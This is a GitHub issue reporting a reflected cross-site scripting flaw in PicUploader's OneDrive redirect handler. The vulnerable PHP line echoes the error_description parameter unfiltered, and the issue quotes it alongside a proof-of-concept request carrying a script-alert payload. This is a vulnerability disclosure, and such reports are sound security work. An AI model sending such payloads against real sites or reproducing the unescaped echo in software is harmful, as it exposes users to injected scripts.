xiebruce / PicUploader

一个还不错的图床工具,支持Mac/Win/Linux服务器、支持压缩后上传、添加图片或文字水印、多文件同时上传、同时上传到多个云、右击任意文件上传、快捷键上传剪贴板截图、Web版上传、支持作为Mweb/Typora发布图片接口、作为PicGo/ShareX/uPic等的自定义图床,支持在服务器上部署作为图床接口,支持上传任意格式文件。
https://www.xiebruce.top/17.html
MIT License
1.19k stars 169 forks source link

xss_2 #91

Open xjzzzxx opened 3 months ago

xjzzzxx commented 3 months ago

Hello,

I would like to report for a xss vulnerability in PicUploader commit fcf82ea

Analysis

The path of the vulnerability: https://github.com/xiebruce/PicUploader/blob/master/auth/OnedriveRedirect.php

if(isset($_GET['code'])){           // Line 21 (Check)
    ...
    }else if(isset($_GET['error']) && isset($_GET['error_description'])){   // Line 38 (Check)
        echo $_GET['error_description'];    // Line 39 (Sink)

Sink in Line 39(echo $_GET['error_description'];).

There is no filtering, which resulting in XSS vulnerability

Poc

GET /auth/OnedriveRedirect.php?error=&error_description=%3Cscript%3Ealert(%27xss%27)%3C/script%3E

Here is the version without url encoding for ease of understanding:

GET /auth/OnedriveRedirect.php?error=&error_description=<script>alert('xss')</script>

Manual verification

3

4